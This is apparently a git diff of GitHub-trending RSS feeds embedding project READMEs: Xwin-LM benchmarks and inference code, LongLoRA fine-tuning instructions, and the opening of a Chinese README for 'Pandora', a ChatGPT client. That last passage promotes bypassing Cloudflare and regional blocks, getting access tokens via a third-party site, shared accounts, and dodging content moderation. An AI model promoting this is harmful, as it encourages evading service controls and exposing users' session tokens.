<td><strong>81.79</strong></td> <td><strong>55.30</strong></td> </tr> <tr> <td>ChatGPT</td> <td>89.37</td> <td>50.00</td> <td>16.60</td> </tr> <tr> <td>WizardLM-13B-V1.2</td> <td>89.17</td> <td>75.75</td> <td>41.91</td> </tr> <tr> <td><strong>Xwin-LM-7B-V0.1</strong></td> <td><strong>87.35</strong></td> <td><strong>76.40</strong></td> <td><strong>47.57</strong></td> </tr> <tr> <td>Llama-2-13B-Chat</td> <td>81.09</td> <td>64.22</td> <td>30.92</td> </tr> </tbody> </table> <h3>Case study on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a></h3> <table> <thead> <tr> <th>Prompts</th> <th>GPT4 response</th> <th>Xwin-LM response</th> </tr> </thead> <tbody> <tr> <td>I've put a plate on top of an apple, and take the plate from kitchen to dinning room. Where is the apple now</td> <td>The apple is now in the dining room, as it was underneath the plate when you moved the plate from the kitchen to the dining room.</td> <td>The apple is still in the kitchen, as you have only moved the plate. The apple is under the plate, so if you want to bring the apple to the dining room, you should either move the apple directly or put the apple on the plate and then move the plate to the dining room.</td> </tr> <tr> <td>Answer the following question.<br> How do you say "good evening" in French.</td> <td>In French, "good evening" is said as "bonsoir."</td> <td>In French, "good evening" is translated to "bonsoir." This greeting is used in the evening and nighttime hours, typically after 6 p.m. It is a combination of "bon," which means "good," and "soir," which means "evening." To pronounce it, say "bone-swahr."</td> </tr> </tbody> </table> <h3>Xwin-LM performance on NLP foundation tasks.</h3> <p>The following table provides a comparison of Xwin-LMs with other LLMs on NLP foundation tasks in <a href="https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard">Open LLM Leaderboard</a>.</p> <table> <thead> <tr> <th>Model</th> <th>MMLU 5-shot</th> <th>ARC 25-shot</th> <th>TruthfulQA 0-shot</th> <th>HellaSwag 10-shot</th> <th>Average</th> </tr> </thead> <tbody> <tr> <td>Text-davinci-003</td> <td>56.9</td> <td><strong>85.2</strong></td> <td>59.3</td> <td>82.2</td> <td>70.9</td> </tr> <tr> <td>Vicuna-13b 1.1</td> <td>51.3</td> <td>53.0</td> <td>51.8</td> <td>80.1</td> <td>59.1</td> </tr> <tr> <td>Guanaco 30B</td> <td>57.6</td> <td>63.7</td> <td>50.7</td> <td>85.1</td> <td>64.3</td> </tr> <tr> <td>WizardLM-7B 1.0</td> <td>42.7</td> <td>51.6</td> <td>44.7</td> <td>77.7</td> <td>54.2</td> </tr> <tr> <td>WizardLM-13B 1.0</td> <td>52.3</td> <td>57.2</td> <td>50.5</td> <td>81.0</td> <td>60.2</td> </tr> <tr> <td>WizardLM-30B 1.0</td> <td>58.8</td> <td>62.5</td> <td>52.4</td> <td>83.3</td> <td>64.2</td> </tr> <tr> <td>Llama-2-7B-Chat</td> <td>48.3</td> <td>52.9</td> <td>45.6</td> <td>78.6</td> <td>56.4</td> </tr> <tr> <td>Llama-2-13B-Chat</td> <td>54.6</td> <td>59.0</td> <td>44.1</td> <td>81.9</td> <td>59.9</td> </tr> <tr> <td>Llama-2-70B-Chat</td> <td>63.9</td> <td>64.6</td> <td>52.8</td> <td>85.9</td> <td>66.8</td> </tr> <tr> <td><strong>Xwin-LM-7B-V0.1</strong></td> <td>49.7</td> <td>56.2</td> <td>48.1</td> <td>79.5</td> <td>58.4</td> </tr> <tr> <td><strong>Xwin-LM-13B-V0.1</strong></td> <td>56.6</td> <td>62.4</td> <td>45.5</td> <td>83.0</td> <td>61.9</td> </tr> <tr> <td><strong>Xwin-LM-70B-V0.1</strong></td> <td><strong>69.6</strong></td> <td>70.5</td> <td><strong>60.1</strong></td> <td><strong>87.1</strong></td> <td><strong>71.8</strong></td> </tr> </tbody> </table> <h2>Inference</h2> <h3>Conversation Template</h3> <p>To obtain desired results, please strictly follow the conversation templates when utilizing our model for inference. Our model adopts the prompt format established by <a href="https://github.com/lm-sys/FastChat">Vicuna</a> and is equipped to support <strong>multi-turn</strong> conversations.</p> <pre><code>A chat between a curious user and an artificial intelligence assistant. The assistant gives helpful, detailed, and polite answers to the user's questions. USER: Hi! ASSISTANT: Hello.&lt;/s&gt;USER: Who are you? ASSISTANT: I am Xwin-LM.&lt;/s&gt;...... </code></pre> <h3>HuggingFace Example</h3> <pre><code class="language-python">from transformers import AutoTokenizer, AutoModelForCausalLM model = AutoModelForCausalLM.from_pretrained("Xwin-LM/Xwin-LM-7B-V0.1") tokenizer = AutoTokenizer.from_pretrained("Xwin-LM/Xwin-LM-7B-V0.1") ( prompt := "A chat between a curious user and an artificial intelligence assistant. " "The assistant gives helpful, detailed, and polite answers to the user's questions. " "USER: Hello, can you help me? " "ASSISTANT:" ) inputs = tokenizer(prompt, return_tensors="pt") samples = model.generate(**inputs, max_new_tokens=4096, temperature=0.7) output = tokenizer.decode(samples[0][inputs["input_ids"].shape[1]:], skip_special_tokens=True) print(output) # Of course! I'm here to help. Please feel free to ask your question or describe the issue you're having, and I'll do my best to assist you. </code></pre> <h3>vLLM Example</h3> <p>Because Xwin-LM is based on Llama2, it also offers support for rapid inference using <a href="https://github.com/vllm-project/vllm">vLLM</a>. Please refer to <a href="https://github.com/vllm-project/vllm">vLLM</a> for detailed installation instructions.</p> <pre><code class="language-python">from vllm import LLM, SamplingParams ( prompt := "A chat between a curious user and an artificial intelligence assistant. " "The assistant gives helpful, detailed, and polite answers to the user's questions. " "USER: Hello, can you help me? " "ASSISTANT:" ) sampling_params = SamplingParams(temperature=0.7, max_tokens=4096) llm = LLM(model="Xwin-LM/Xwin-LM-7B-V0.1") outputs = llm.generate([prompt,], sampling_params) for output in outputs: prompt = output.prompt generated_text = output.outputs[0].text print(generated_text) </code></pre> <h2>TODO</h2> <ul> <li><input type="checkbox" disabled> Release the source code</li> <li><input type="checkbox" disabled> Release more capabilities, such as math, reasoning, and etc.</li> </ul> <h2>Citation</h2> <p>Please consider citing our work if you use the data or code in this repo.</p> <pre><code>@software{xwin-lm, title = {Xwin-LM}, author = {Xwin-LM Team}, url = {https://github.com/Xwin-LM/Xwin-LM}, version = {pre-release}, year = {2023}, month = {9}, } </code></pre> <h2>Acknowledgements</h2> <p>Thanks to <a href="https://ai.meta.com/llama/">Llama 2</a>, <a href="https://github.com/lm-sys/FastChat">FastChat</a>, <a href="https://github.com/tatsu-lab/alpaca_farm">AlpacaFarm</a>, and <a href="https://github.com/vllm-project/vllm">vLLM</a>.</p> + dvlab-research/LongLoRA + 2023-09-25T01:23:55Z + tag:github.com,2023-09-25:/dvlab-research/LongLoRA + + <p>Efficient long-context fine-tuning, supervised fine-tuning, LongQA dataset.</p><hr><p><a href="https://9415315be10389c622.gradio.live"><img src="https://img.shields.io/badge/Gradio-Online%20Demo-blue" alt="Gradio"></a></p> <h1>LongLoRA: Efficient Fine-tuning of Long-Context Large Language Models</h1> <h2>News</h2> <ul> <li><input type="checkbox" checked disabled> [2023.9.22] We release our <strong>13B and 70B 32k models with the supervised fine-tuning</strong>, which is feasible for long context QA. Please check <a href="https://huggingface.co/Yukang/Llama-2-13b-chat-longlora-32k-sft">Llama-2-13b-chat-longlora-32k-sft</a> and <a href="https://huggingface.co/Yukang/Llama-2-70b-chat-longlora-32k-sft">Llama-2-70b-chat-longlora-32k-sft</a>. To our best knowledge, <strong>this is the first work that release 70B model with 32k context length</strong>.</li> <li><input type="checkbox" checked disabled> [2023.9.22] We release all our fine-tuned <a href="https://huggingface.co/Yukang">models</a>, including <strong>70B-32k models</strong>, <a href="https://huggingface.co/Yukang/Llama-2-70b-longlora-32k">LLaMA2-LongLoRA-70B-32k</a>, <a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-100k-ft">LLaMA2-LongLoRA-7B-100k</a>. Welcome to check them out!</li> <li><input type="checkbox" checked disabled> [2023.9.22] We release <a href="http://arxiv.org/abs/2309.12307">Paper</a> and this GitHub repo, including training and evaluation code.</li> </ul> <p><strong>LongLoRA: Efficient Fine-tuning of Long-Context Large Language Models [<a href="http://arxiv.org/abs/2309.12307">Paper</a>]</strong> <br> <a href="https://scholar.google.com/citations?user=6p0ygKUAAAAJ&amp;hl=en">Yukang Chen</a>, <a href="https://scholar.google.com/citations?user=QNnWmasAAAAJ">Shengju Qian</a>, <a href="https://scholar.google.com/citations?user=WxL13BAAAAAJ&amp;hl">Haotian Tang</a>, <a href="https://scholar.google.com/citations?user=tqNDPA4AAAAJ&amp;hl=zh-CN">Xin Lai</a>, <a href="https://scholar.google.com/citations?user=3coYSTUAAAAJ&amp;hl=en">Zhijian Liu</a>, <a href="https://scholar.google.com/citations?user=E0iCaa4AAAAJ&amp;hl=zh-CN">Song Han</a>, <a href="https://scholar.google.com/citations?user=XPAkzTEAAAAJ&amp;hl=en">Jiaya Jia</a><br></p> <p><font size="7"></font></p> <div align="center"> <font size="7"> <a href="http://arxiv.org/abs/2309.12307"><strong>Paper</strong></a> | <a href="https://huggingface.co/Yukang"><strong>Models</strong></a> | <a href="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/#training"><strong>Training</strong></a> | <a href="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/#inference"><strong>Inference</strong></a> | <a href="https://9415315be10389c622.gradio.live"><strong>Online Demo</strong></a></font> </div> <p></p> <p align="center"> <img src="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/imgs/demo-harry-potter1.png" width="100%"> </p> <p align="center"> <img src="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/imgs/demo-harry-potter2.png" width="100%"> </p> <p align="center"> <img src="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/imgs/demo-deadth-ends.png" width="100%"> </p> <p align="center"> <img src="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/imgs/demo-two-towers.png" width="100%"> </p> <p align="center"> <img src="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/imgs/demo-paper1.png" width="100%"> </p> <p align="center"> <img src="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/imgs/demo-paper2.png" width="100%"> </p> <h2>Abstract</h2> <p>We present LongLoRA, an efficient fine-tuning approach that extends the context sizes of pre-trained large language models (LLMs), with limited computation cost. Typically, training LLMs with long context sizes is computationally expensive, requiring extensive training hours and GPU resources. In this paper, we speed up the context extension of LLMs in two aspects. On the one hand, although dense global attention is needed during inference, fine-tuning the model can be effectively and efficiently done by sparse local attention. The proposed shift short attention effectively enables context extension, leading to non-trivial computation saving with similar performance to fine-tuning with vanilla attention. On the other hand, we find that LoRA for context extension works well under the premise of trainable embedding and normalization. LongLoRA demonstrates strong empirical results on various tasks on LLaMA2 models from 7B/13B to 70B. LongLoRA adopts LLaMA2 7B from 4k context to 100k, or LLaMA2 70B to 32k on a single 8x A100 machine. LongLoRA extends models' context while retaining their original architectures, and is compatible with most existing techniques, like FlashAttention-2. In addition, to make LongLoRA practical, we collect a dataset, LongQA, for supervised fine-tuning. It contains more than 3k long context question-answer pairs. For more details, please refer to the <a href="http://arxiv.org/abs/2309.12307">paper</a>.</p> <h2>Highlights</h2> <p><strong>LongLoRA</strong> speed up the context extension of pre-trained large language models in both attention-level and weight-level.</p> <ol> <li>The proposed shifted short attention is easy to implement, compatible with Flash-Attention, and not required during inference.</li> <li>We release all our models, including models from 7B to 70B, context length from 8k to 100k, including <a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-100k-ft">LLaMA2-LongLoRA-7B-100k</a>, <a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-64k">LLaMA2-LongLoRA-13B-64k</a>, and <a href="https://huggingface.co/Yukang/Llama-2-70b-longlora-32k">LLaMA2-LongLoRA-70B-32k</a>.</li> <li>We build up a long-context QA dataset, LongQA, for supervised fine-tuning (SFT). We release 13B and 70B 32k models with SFT, <a href="https://huggingface.co/Yukang/Llama-2-13b-chat-longlora-32k-sft">Llama-2-13b-chat-longlora-32k-sft</a> and <a href="https://huggingface.co/Yukang/Llama-2-70b-chat-longlora-32k-sft">Llama-2-70b-chat-longlora-32k-sft</a>. We will further release the dataset in the next month.</li> </ol> <h2>Installation</h2> <pre><code>pip install -r requirements.txt pip install flash-attn --no-build-isolation </code></pre> <h2>Released models</h2> <h3>Models with supervised fine-tuning</h3> <table> <thead> <tr> <th align="left">Model</th> <th>Size</th> <th>Context</th> <th>Train</th> <th>Link</th> </tr> </thead> <tbody> <tr> <td align="left">Llama-2-13b-chat-longlora-32k-sft</td> <td>13B</td> <td>32768</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-chat-longlora-32k-sft">link</a></td> </tr> <tr> <td align="left">Llama-2-70b-chat-longlora-32k-sft</td> <td>70B</td> <td>32768</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-70b-chat-longlora-32k-sft">link</a></td> </tr> </tbody> </table> <h3>Models with context extension via fully fine-tuning</h3> <table> <thead> <tr> <th align="left">Model</th> <th>Size</th> <th>Context</th> <th>Train</th> <th>Link</th> </tr> </thead> <tbody> <tr> <td align="left">Llama-2-7b-longlora-8k-ft</td> <td>7B</td> <td>8192</td> <td>Full FT</td> <td><a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-8k-ft">link</a></td> </tr> <tr> <td align="left">Llama-2-7b-longlora-16k-ft</td> <td>7B</td> <td>16384</td> <td>Full FT</td> <td><a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-16k-ft">link</a></td> </tr> <tr> <td align="left">Llama-2-7b-longlora-32k-ft</td> <td>7B</td> <td>32768</td> <td>Full FT</td> <td><a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-32k-ft">link</a></td> </tr> <tr> <td align="left">Llama-2-7b-longlora-100k-ft</td> <td>7B</td> <td>100000</td> <td>Full FT</td> <td><a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-100k-ft">link</a></td> </tr> <tr> <td align="left">Llama-2-13b-longlora-8k-ft</td> <td>13B</td> <td>8192</td> <td>Full FT</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-8k-ft">link</a></td> </tr> <tr> <td align="left">Llama-2-13b-longlora-16k-ft</td> <td>13B</td> <td>16384</td> <td>Full FT</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-16k-ft">link</a></td> </tr> <tr> <td align="left">Llama-2-13b-longlora-32k-ft</td> <td>13B</td> <td>32768</td> <td>Full FT</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-32k-ft">link</a></td> </tr> </tbody> </table> <h3>Models with context extension via improved LoRA fine-tuning</h3> <table> <thead> <tr> <th align="left">Model</th> <th>Size</th> <th>Context</th> <th>Train</th> <th>Link</th> </tr> </thead> <tbody> <tr> <td align="left">Llama-2-7b-longlora-8k</td> <td>7B</td> <td>8192</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-8k">link</a></td> </tr> <tr> <td align="left">Llama-2-7b-longlora-16k</td> <td>7B</td> <td>16384</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-16k">link</a></td> </tr> <tr> <td align="left">Llama-2-7b-longlora-32k</td> <td>7B</td> <td>32768</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-7b-longlora-32k">link</a></td> </tr> <tr> <td align="left">Llama-2-13b-longlora-8k</td> <td>13B</td> <td>8192</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-8k">link</a></td> </tr> <tr> <td align="left">Llama-2-13b-longlora-16k</td> <td>13B</td> <td>16384</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-16k">link</a></td> </tr> <tr> <td align="left">Llama-2-13b-longlora-32k</td> <td>13B</td> <td>32768</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-32k">link</a></td> </tr> <tr> <td align="left">Llama-2-13b-longlora-64k</td> <td>13B</td> <td>65536</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-13b-longlora-64k">link</a></td> </tr> <tr> <td align="left">Llama-2-70b-longlora-32k</td> <td>70B</td> <td>32768</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-70b-longlora-32k">link</a></td> </tr> <tr> <td align="left">Llama-2-70b-chat-longlora-32k</td> <td>70B</td> <td>32768</td> <td>LoRA+</td> <td><a href="https://huggingface.co/Yukang/Llama-2-70b-chat-longlora-32k">link</a></td> </tr> </tbody> </table> <h2>Training</h2> <h3>Pre-trained weights</h3> <p>We use LLaMA2 models as the pre-trained weights and fine-tune them to long context window sizes. Please download <a href="https://huggingface.co/meta-llama/Llama-2-7b-hf">Llama-2-7b-hf</a>, <a href="https://huggingface.co/meta-llama/Llama-2-7b-hf">Llama-2-13b-hf</a>, and <a href="https://huggingface.co/meta-llama/Llama-2-70b-hf">Llama-2-7b-hf</a>, based on your choices.</p> <h3>Fine-tuning</h3> <pre><code>torchrun --nproc_per_node=8 fine-tune.py \ --model_name_or_path path_to/Llama-2-7b-hf \ --bf16 True \ --output_dir path_to_saving_checkpoints \ --cache_dir path_to_cache \ --model_max_length 8192 \ --use_flash_attn True \ --low_rank_training False \ --num_train_epochs 1 \ --per_device_train_batch_size 1 \ --per_device_eval_batch_size 2 \ --gradient_accumulation_steps 8 \ --evaluation_strategy "no" \ --save_strategy "steps" \ --save_steps 1000 \ --save_total_limit 2 \ --learning_rate 2e-5 \ --weight_decay 0.0 \ --warmup_steps 20 \ --lr_scheduler_type "constant_with_warmup" \ --logging_steps 1 \ --deepspeed "ds_configs/stage2.json" \ --tf32 True \ --max_steps 1000 </code></pre> <ul> <li>Please remember to change <code>path_to/Llama-2-7b-hf</code>, <code>path_to_saving_checkpoints</code>, <code>path_to_cache</code> to your own directory.</li> <li>Note that you can change <code>model_max_length</code> to other values.</li> <li>You could change <code>ds_configs/stage2.json</code> to <code>ds_configs/stage3.json</code> if you want.</li> <li>Please set <code>use_flash_attn</code> as <code>False</code> if you use V100 machines or do not install flash attention.</li> <li>You can set <code>low_rank_training</code> as <code>False</code> if you want to use fully fine-tuning. It will cost more GPU memory and slower, but the performance will be a bit better.</li> <li>When training is finished, to get the full model weight:</li> </ul> <pre><code>cd path_to_saving_checkpoints &amp;&amp; python zero_to_fp32.py . pytorch_model.bin </code></pre> <h3>Supervised Fine-tuning</h3> <pre><code>torchrun --nproc_per_node=8 supervised-fine-tune.py \ --model_name_or_path path_to_finetuned_models \ --bf16 True \ --output_dir path_to_saving_checkpoints \ --model_max_length 32768 \ --use_flash_attn True \ --data_path LongQA.json \ --low_rank_training True \ --num_train_epochs 3 \ --per_device_train_batch_size 1 \ --per_device_eval_batch_size 2 \ --gradient_accumulation_steps 1 \ --evaluation_strategy "no" \ --save_strategy "steps" \ --save_steps 1000 \ --save_total_limit 2 \ --learning_rate 2e-5 \ --weight_decay 0.0 \ --warmup_steps 20 \ --lr_scheduler_type "constant_with_warmup" \ --logging_steps 1 \ --deepspeed "ds_configs/stage2.json" \ --tf32 True </code></pre> <ul> <li>We typically make supervised fine-tuning upon the fine-tuned context extended models, <code>path_to_finetuned_models</code>, like <code>Llama-2-13b-longlora-32k</code> or <code>Llama-2-13b-longlora-32k-ft</code>.</li> <li>During our dataset collection, it is hard for us to collect many high-quality QA that are larger than 32768. Thus, if you use our <code>LongQA.json</code>, please also set <code>model_max_length</code> as 32768.</li> </ul> <h3>Get trainable weights in low-rank training</h3> <p>In low-rank training, we set embedding and normalization layers as trainable. Please use the following line to extract the trainable weights <code>trainable_params.bin</code> from <code>pytorch_model.bin</code></p> <pre><code>python3 get_trainable_weights.py --checkpoint_path path_to_saving_checkpoints --trainable_params "embed,norm" </code></pre> <h3>Merge LoRA Weight</h3> <p>Merge the LoRA weights of <code>pytorch_model.bin</code> and trainable parameters <code>trainable_params.bin</code>, save the resulting model into your desired path in the Hugging Face format:</p> <pre><code>python3 merge_lora_weights_and_save_hf_model.py \ --base_model path_to/Llama-2-7b-hf \ --peft_model path_to_saving_checkpoints \ --context_size 8192 \ --save_path path_to_saving_merged_model </code></pre> <p>For example,</p> <pre><code>python3 merge_lora_weights_and_save_hf_model.py \ --base_model /dataset/pretrained-models/Llama-2-7b-hf \ --peft_model /dataset/yukangchen/hf_models/lora-models/Llama-2-7b-longlora-8k \ --context_size 8192 \ --save_path /dataset/yukangchen/models/Llama-2-7b-longlora-8k-merged </code></pre> <h3>Validation</h3> <p>To evaluate a model that is trained in the low-rank setting, please set both <code>base_model</code> and <code>peft_model</code>. <code>base_model</code> is the pre-trained weight. <code>peft_model</code> is the path to the saved checkpoint, which should contain <code>trainable_params.bin</code>, <code>adapter_model.bin</code> and <code>adapter_config.json</code>. For example,</p> <pre><code>python3 eval.py --seq_len 8192 --context_size 8192 --batch_size 1 --base_model path_to/Llama-2-7b-hf --peft_model path_to_saving_checkpoints --data_path pg19/test.bin </code></pre> <p>To evaluate a model that is fully fine-tuned, you only need to set <code>base_model</code> as the path to the saved checkpoint, which should contain <code>pytorch_model.bin</code> and <code>config.json</code>. <code>peft_model</code> should be ignored.</p> <pre><code>python3 eval.py --seq_len 8192 --context_size 8192 --batch_size 1 --base_model path_to_saving_checkpoints --data_path pg19/test.bin </code></pre> <ul> <li> <p>Note that <code>--seq_len</code> is to set the sequence length for evaluation. <code>--context_size</code> is to set the context length of the model during fine-tuning. <code>--seq_len</code> should not be larger than <code>--context_size</code>.</p> </li> <li> <p>We have already tokenized the validation and test splits of PG19 and proof-pile dataset into <code>pg19/validation.bin</code>, <code>pg19/test.bin</code>, and <code>proof-pile/test_sampled_data.bin</code>, with the tokenizer of LLaMA. <code>proof-pile/test_sampled_data.bin</code> contains 128 documents that are randomly sampled from the total proof-pile test split. For each document, it has at least 32768 tokens. We also release the sampled ids in <a href="https://drive.google.com/file/d/1cnzWODLRQYAd7HeugzLCIhaqzaLZv7J5/view?usp=share_link">proof-pile/test_sampled_ids.bin</a>. You can download them from the links below.</p> </li> </ul> <table> <thead> <tr> <th align="left">Dataset</th> <th>Split</th> <th>Link</th> </tr> </thead> <tbody> <tr> <td align="left">PG19</td> <td>validation</td> <td><a href="https://drive.google.com/file/d/1rbJvb0qRIf2mQoN2ON7S93TbTzMnlrN6/view?usp=share_link">pg19/validation.bin</a></td> </tr> <tr> <td align="left">PG19</td> <td>test</td> <td><a href="https://drive.google.com/file/d/1QANDMdctpacPAYgS04adDXqByGEq-Ret/view?usp=share_link">pg19/test.bin</a></td> </tr> <tr> <td align="left">Proof-pile</td> <td>test</td> <td><a href="https://drive.google.com/file/d/1bUI5lPDvrqzY_XXJJ2sSuvZx0Y9AZClE/view?usp=share_link">proof-pile/test_sampled_data.bin</a></td> </tr> </tbody> </table> <h2>Inference</h2> <p>To chat with <a href="https://huggingface.co/Yukang/Llama-2-13b-chat-longlora-32k-sft">Llama-2-13b-chat-longlora-32k-sft</a> or <a href="https://huggingface.co/Yukang/Llama-2-70b-chat-longlora-32k-sft">Llama-2-70b-chat-longlora-32k-sft</a>, you need to run <code>merge_lora_weights_and_save_hf_model.py</code> first, and then:</p> <pre><code>python3 inference.py \ --base_model path_to_model \ --question $question \ --context_size $context_length \ --max_gen_len $max_gen_len \ --flash_attn True \ --material $material_content \ --material_type $material_type \ --material_title $material_title </code></pre> <p>For example, if we want to ask a question related to a book:</p> <pre><code>python3 inference.py \ --base_model /data/models/Llama-2-13b-chat-longlora-32k-sft \ --question "Why doesn't Professor Snape seem to like Harry?" \ --context_size 32768 \ --max_gen_len 512 \ --flash_attn True \ --material "materials/Harry Potter and the Philosophers Stone_section2.txt" \ --material_type "book" \ --material_title "Harry Potter and the Philosophers Stone" </code></pre> <p>Note that you can ignore <code>material_type</code> or <code>material_title</code>.</p> <p>If we want to ask a question related to a paper:</p> <pre><code>python3 inference.py \ --base_model /data/models/Llama-2-13b-chat-longlora-32k-sft \ --question "What are the main contributions and novelties of this work?" \ --context_size 32768 \ --max_gen_len 512 \ --flash_attn True \ --material "materials/paper1.txt" \ --material_type "paper" </code></pre> <h2>Demo</h2> <p>If you want to deploy your own demo, you can run the</p> <pre><code>python3 demo.py \ --base_model path_to_model \ --context_size $context_size \ --max_gen_len $max_gen_len \ --flash_attn True </code></pre> <p>For example,</p> <pre><code>python3 demo.py \ --base_model /data/models/Llama-2-13b-chat-longlora-32k-sft \ --context_size 32768 \ --max_gen_len 512 \ --flash_attn True </code></pre> <ul> <li>Note that <code>flash_attn=True</code> will make the generation slow but save much GPU memory.</li> </ul> <h2>Pdf2text</h2> <p>During our dataset collection, we convert paper and books from pdf to text. The conversion quality has a large influence on the final model quality. We think that this step is non-trivial. We release the tool for the pdf2txt conversion, in the folder <code>pdf2txt</code>. It is built upon <code>pdf2image</code>, <code>easyocr</code>, <code>ditod</code> and <code>detectron2</code>. Please refer to the <a href="https://raw.githubusercontent.com/dvlab-research/LongLoRA/main/pdf2txt/README.md">README.md</a> in <code>pdf2txt</code> for more details.</p> <h2>Citation</h2> <p>If you find this project useful in your research, please consider citing:</p> <pre><code>@article{longlora, title={LongLoRA: Efficient Fine-tuning of Long-Context Large Language Models}, author={Yukang Chen and Shengju Qian and Haotian Tang and Xin Lai and Zhijian Liu and Song Han and Jiaya Jia}, journal={arXiv:2309.12307}, year={2023} } </code></pre> <h2>Acknowledgement</h2> <ul> <li>This work is built upon the <a href="https://ai.meta.com/llama">LLaMA2</a> as the pre-trained models.</li> <li>This work is based on <a href="https://github.com/microsoft/DeepSpeed">DeepSpeed</a>, <a href="https://github.com/huggingface/peft">peft</a>, and <a href="https://github.com/Dao-AILab/flash-attention">Flash-Attention2</a> for acceleration.</li> <li>The perplexity evaluation code is modified upon <a href="https://github.com/epfml/landmark-attention">Landmark Attention</a>.</li> <li>We use <a href="https://github.com/DachengLi1/LongChat">LongChat</a> for the retrieval evaluation.</li> </ul> \ No newline at end of file diff --git a/all/weekly/index.xml b/all/weekly/index.xml deleted file mode 100644 index f228bb959a2..00000000000 --- a/all/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub All Languages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:31Z - Weekly Trending of All Languages in GitHub - - - zhile-io/pandora - 2023-09-24T01:45:31Z - tag:github.com,2023-09-24:/zhile-io/pandora - - <p>潘多拉,一个让你呼吸顺畅的ChatGPT。Pandora, a ChatGPT client that lets you breathe freely.</p><hr><h1>Pandora</h1> <p>潘多拉 (Pandora),一个让你呼吸顺畅的 ChatGPT。</p> <p>潘多拉实现了网页版 ChatGPT 的主要操作。后端优化,绕过 Cloudflare,速度喜人。</p> <!-- PROJECT SHIELDS --> <p><img src="https://img.shields.io/badge/python-%3E%3D3.7-green" alt="Python version"> <a href="https://github.com/zhile-io/pandora/issues"><img src="https://img.shields.io/github/issues-raw/zhile-io/pandora" alt="Issues"></a> <a href="https://github.com/zhile-io/pandora/commits/master"><img src="https://img.shields.io/github/last-commit/zhile-io/pandora/master" alt="Commits"></a> <a href="https://pypi.python.org/pypi/pandora-chatgpt"><img src="https://img.shields.io/pypi/v/pandora-chatgpt.svg?sanitize=true" alt="PyPi"></a> <a href="https://pypi.python.org/pypi/pandora-chatgpt"><img src="https://static.pepy.tech/badge/pandora-chatgpt" alt="Downloads"></a> <a href="https://github.com/zhile-io/pandora/actions/workflows/python-publish.yml"><img src="https://github.com/zhile-io/pandora/actions/workflows/python-publish.yml/badge.svg?sanitize=true" alt="PyPi workflow"></a> <a href="https://github.com/zhile-io/pandora/actions/workflows/docker-publish.yml"><img src="https://github.com/zhile-io/pandora/actions/workflows/docker-publish.yml/badge.svg?sanitize=true" alt="Docker workflow"></a> <a href="https://discord.gg/QBkd9JAaWa"><img src="https://img.shields.io/discord/1098772912242163795?label=Discord" alt="Discord"></a></p> <h2>体验地址</h2> <ul> <li>点击 <a href="https://chat.zhile.io" target="_blank" title="Pandora Cloud体验地址"></a><a href="https://chat.zhile.io">https://chat.zhile.io</a></li> <li>最新拿 <code>Access Token</code> 的技术原理,我记录在<a href="https://zhile.io/2023/05/19/how-to-get-chatgpt-access-token-via-pkce.html">这里</a>了。</li> <li>可以访问 <a href="http://ai-20230626.fakeopen.com/auth">这里</a> 拿 <code>Access Token</code></li> <li>也可以官方登录,然后访问 <a href="http://chat.openai.com/api/auth/session">这里</a> 拿 <code>Access Token</code></li> <li><code>Access Token</code> 有效期 <code>14</code> 天,期间访问<strong>不需要梯子</strong>。这意味着你在手机上也可随意使用。</li> <li>这个页面上还包含一个共享账号的链接,<strong>没有账号</strong>的可以点进去体验一下。</li> </ul> <h2>ChatGPT使用时可能会遇到:</h2> <h3>1. Please stand by, while we are checking your browser...</h3> <h3>&nbsp;&nbsp;&nbsp;动不动来一下,有时候还不动或者出人机验证。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t0.png" alt="t0"></p> <h3>2. Access denied. Sorry, you have been blocked</h3> <h3>&nbsp;&nbsp;&nbsp;经典问题,只能到处找可用VPN,费时费力,更费钱。移动端访问更难。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t1.1.png" alt="t1.1"></p> <h3>3. ChatGPT is at capacity right now</h3> <h3>&nbsp;&nbsp;&nbsp;系统负载高,白嫖用户不给用。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t2.png" alt="t2"></p> <h3>4. This content may violate our <u>content policy</u>.</h3> <h3>&nbsp;&nbsp;&nbsp;道德审查,多触发几次可能就封号了。痛!!!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t3.png" alt="t3"></p> <h3>5. Something went wrong.</h3> <h3>&nbsp;&nbsp;&nbsp;吃着火锅唱着歌,突然就出故障了。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t4.png" 